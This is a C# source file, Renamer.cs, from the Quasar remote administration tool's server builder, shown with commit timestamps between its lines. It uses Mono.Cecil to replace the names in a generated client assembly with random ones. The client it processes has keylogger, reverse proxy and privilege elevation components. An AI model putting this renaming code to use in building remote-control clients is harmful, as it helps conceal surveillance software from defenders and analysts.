Quasar/Server/Core/Build/Renamer.cs

198 lines
7.0 KiB
C#
Raw Normal View History

2014-07-08 19:36:24 +00:00
using System;
using System.Collections.Generic;
2015-06-09 18:06:04 +00:00
using System.Linq;
2014-07-08 19:36:24 +00:00
using System.Text;
using Mono.Cecil;
2015-01-13 18:29:11 +00:00
namespace xServer.Core.Build
2014-07-08 19:36:24 +00:00
{
public class Renamer
{
/// <summary>
/// Contains the assembly definition.
/// </summary>
2014-07-08 19:36:24 +00:00
public AssemblyDefinition AsmDef { get; set; }
2015-06-09 18:06:04 +00:00
private int Length { get; set; }
private MemberOverloader _typeOverloader;
private Dictionary<TypeDefinition, MemberOverloader> _methodOverloaders;
private Dictionary<TypeDefinition, MemberOverloader> _fieldOverloaders;
private Dictionary<TypeDefinition, MemberOverloader> _eventOverloaders;
2014-07-08 19:36:24 +00:00
public Renamer(AssemblyDefinition asmDef)
: this(asmDef, 20)
{
}
2014-07-08 19:36:24 +00:00
public Renamer(AssemblyDefinition asmDef, int length)
{
this.AsmDef = asmDef;
2015-06-09 18:06:04 +00:00
this.Length = length;
_typeOverloader = new MemberOverloader(this.Length);
_methodOverloaders = new Dictionary<TypeDefinition, MemberOverloader>();
_fieldOverloaders = new Dictionary<TypeDefinition, MemberOverloader>();
_eventOverloaders = new Dictionary<TypeDefinition, MemberOverloader>();
2014-07-08 19:36:24 +00:00
}
/// <summary>
/// Attempts to modify the assembly definition data.
/// </summary>
/// <returns>True if the operation succeeded; False if the operation failed.</returns>
public bool Perform()
2014-07-08 19:36:24 +00:00
{
try
{
2015-06-09 18:06:04 +00:00
foreach (TypeDefinition typeDef in AsmDef.Modules.SelectMany(module => module.Types))
2014-07-08 19:36:24 +00:00
{
2015-06-09 18:06:04 +00:00
RenameInType(typeDef);
2014-07-08 19:36:24 +00:00
}
return true;
2014-07-08 19:36:24 +00:00
}
catch
{
return false;
2014-07-08 19:36:24 +00:00
}
}
private void RenameInType(TypeDefinition typeDef)
{
2015-06-09 18:06:04 +00:00
if (typeDef.Namespace == "xClient.Core"
2015-05-20 07:27:11 +00:00
|| typeDef.Namespace == "xClient.Core.Elevation"
|| typeDef.Namespace == "xClient.Core.Compression"
2015-06-09 18:06:04 +00:00
|| typeDef.Namespace == "xClient.Core.Networking"
2015-05-20 07:27:11 +00:00
|| typeDef.Namespace.StartsWith("ProtoBuf")
2015-06-09 06:35:49 +00:00
|| typeDef.Namespace.StartsWith("xClient.Core.ReverseProxy")
|| typeDef.Namespace.StartsWith("xClient.Core.Keylogger")
|| typeDef.Namespace.StartsWith("xClient.Core.Packets")
2015-05-20 07:27:11 +00:00
|| typeDef.HasInterfaces)
2014-07-08 19:36:24 +00:00
return;
2015-06-09 18:06:04 +00:00
_typeOverloader.GiveName(typeDef);
2014-07-08 19:36:24 +00:00
typeDef.Namespace = string.Empty;
MemberOverloader methodOverloader = GetMethodOverloader(typeDef);
MemberOverloader fieldOverloader = GetFieldOverloader(typeDef);
MemberOverloader eventOverloader = GetEventOverloader(typeDef);
if (typeDef.HasNestedTypes)
foreach (TypeDefinition nestedType in typeDef.NestedTypes)
RenameInType(nestedType);
if (typeDef.HasMethods)
2015-06-09 18:06:04 +00:00
foreach (MethodDefinition methodDef in typeDef.Methods.Where(methodDef => !methodDef.IsConstructor))
methodOverloader.GiveName(methodDef);
2014-07-08 19:36:24 +00:00
if (typeDef.HasFields)
foreach (FieldDefinition fieldDef in typeDef.Fields)
fieldOverloader.GiveName(fieldDef);
if (typeDef.HasEvents)
foreach (EventDefinition eventDef in typeDef.Events)
eventOverloader.GiveName(eventDef);
}
private MemberOverloader GetMethodOverloader(TypeDefinition typeDef)
{
2015-06-09 18:06:04 +00:00
return GetOverloader(this._methodOverloaders, typeDef);
2014-07-08 19:36:24 +00:00
}
private MemberOverloader GetFieldOverloader(TypeDefinition typeDef)
{
2015-06-09 18:06:04 +00:00
return GetOverloader(this._fieldOverloaders, typeDef);
2014-07-08 19:36:24 +00:00
}
private MemberOverloader GetEventOverloader(TypeDefinition typeDef)
{
2015-06-09 18:06:04 +00:00
return GetOverloader(this._eventOverloaders, typeDef);
2014-07-08 19:36:24 +00:00
}
private MemberOverloader GetOverloader(Dictionary<TypeDefinition, MemberOverloader> overloaderDictionary,
TypeDefinition targetTypeDef)
2014-07-08 19:36:24 +00:00
{
MemberOverloader overloader;
if (!overloaderDictionary.TryGetValue(targetTypeDef, out overloader))
{
2015-06-09 18:06:04 +00:00
overloader = new MemberOverloader(this.Length);
2014-07-08 19:36:24 +00:00
overloaderDictionary.Add(targetTypeDef, overloader);
}
return overloader;
}
private class MemberOverloader
{
private bool DoRandom { get; set; }
private int StartingLength { get; set; }
2015-06-09 18:06:04 +00:00
private Dictionary<string, string> _renamedMembers = new Dictionary<string, string>();
private readonly char[] _charMap;
private int[] _indices;
2014-07-08 19:36:24 +00:00
public MemberOverloader(int startingLength, bool doRandom = true)
: this(startingLength, doRandom, "ABCDEFGHIJKLMNOPQRSTUVWXYZ".ToLower().ToCharArray())
{
}
2015-06-09 18:06:04 +00:00
private MemberOverloader(int startingLength, bool doRandom, char[] chars)
2014-07-08 19:36:24 +00:00
{
2015-06-09 18:06:04 +00:00
this._charMap = chars;
2014-07-08 19:36:24 +00:00
this.DoRandom = doRandom;
this.StartingLength = startingLength;
2015-06-09 18:06:04 +00:00
this._indices = new int[startingLength];
2014-07-08 19:36:24 +00:00
}
public void GiveName(MemberReference member)
{
string currentName = GetCurrentName();
string originalName = member.ToString();
member.Name = currentName;
2015-06-09 18:06:04 +00:00
while (_renamedMembers.ContainsValue(member.ToString()))
2014-07-08 19:36:24 +00:00
{
member.Name = GetCurrentName();
}
2015-06-09 18:06:04 +00:00
_renamedMembers.Add(originalName, member.ToString());
2014-07-08 19:36:24 +00:00
}
private string GetCurrentName()
{
2015-06-09 18:06:04 +00:00
return DoRandom ? GetRandomName() : GetOverloadedName();
2014-07-08 19:36:24 +00:00
}
private string GetRandomName()
{
StringBuilder builder = new StringBuilder();
for (int i = 0; i < StartingLength; i++)
{
builder.Append((char) new Random(Guid.NewGuid().GetHashCode()).Next(int.MinValue, int.MaxValue));
2014-07-08 19:36:24 +00:00
}
return builder.ToString();
}
private string GetOverloadedName()
{
IncrementIndices();
2015-06-09 18:06:04 +00:00
char[] chars = new char[_indices.Length];
for (int i = 0; i < _indices.Length; i++)
chars[i] = _charMap[_indices[i]];
2014-07-08 19:36:24 +00:00
return new string(chars);
}
private void IncrementIndices()
{
2015-06-09 18:06:04 +00:00
for (int i = _indices.Length - 1; i >= 0; i--)
2014-07-08 19:36:24 +00:00
{
2015-06-09 18:06:04 +00:00
_indices[i]++;
if (_indices[i] >= _charMap.Length)
2014-07-08 19:36:24 +00:00
{
if (i == 0)
2015-06-09 18:06:04 +00:00
Array.Resize(ref _indices, _indices.Length + 1);
_indices[i] = 0;
2014-07-08 19:36:24 +00:00
}
else
break;
}
}
}
}
}